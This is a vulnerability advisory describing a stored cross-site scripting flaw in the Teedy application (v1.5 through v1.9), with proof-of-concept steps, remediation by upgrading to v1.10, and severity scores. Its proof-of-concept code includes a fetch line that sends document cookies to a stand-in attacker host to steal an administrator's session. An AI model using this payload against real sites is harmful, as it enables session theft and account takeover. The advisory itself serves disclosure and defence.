We found results for “


Date: January 10, 2022


In Teedy, versions v1.5 through v1.9 are vulnerable to Stored Cross-Site Scripting (XSS) in the name of a created Tag. Since the Tag name is not being sanitized properly in the edit tag page, a low privileged attacker can store malicious scripts in the name of the Tag. In the worst case, the victim who inadvertently triggers the attack is a highly privileged administrator. The injected scripts can extract the Session ID, which can lead to full Account Takeover of the administrator, and privileges escalation.


There is a Stored Cross-Site Scripting vulnerability in “Teedy” application in the name of the created Tag. As the Tag name is not being sanitized properly in the edit tag page which allows an attacker to store malicious scripts in the name of the Tag. These stored scripts will execute in the context of the victim browser when they open the page containing them. Since “HttpOnly” is set to “false” on the cookies, this can lead to taking over the victim's session by extracting the session key and sending it to an attacker-controlled domain.

PoC Details

Create a file “x.js” with a malicious javascript code and run a simple python server to host it. For demonstration purposes, we will run the python server on top of “xss.tst” domain.
Run a different server, “attacker.com”, listening on port 9999 to capture the cookies from the executed malicious javascript.
As a low privileged attacker, go to the Tags section and create a new Tag with the malicious payload as its name.
Open a new incognito window and log in as an admin. Go to the Tags section and open the malicious Tag in edit mode. Notice that the XSS is triggered and the admin session values are captured in the attacker's server.
As the attacker, you can now use the Administrator’s cookies to take over their account.

PoC Code

// payload for the Tag’s name:

// x.js file contents hosted on xss.tst server:
fetch('http://attacker.com:9999/cookies= '+ document.cookie);

Affected Environments

Teedy v1.5 through v1.9


Update to Teedy v1.10

Language: Java

Good to know:


Cross-Site Scripting (XSS)


Upgrade Version

Upgrade to version v1.10

Learn More

Base Score:
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): Low
User Interaction (UI): Required
Scope (S): Changed
Confidentiality (C): High
Integrity (I): High
Availability (A): High
Base Score:
Access Vector (AV): Network
Access Complexity (AC): Medium
Authentication (AU): Single
Confidentiality (C): None
Integrity (I): Partial
Availability (A): None
Additional information: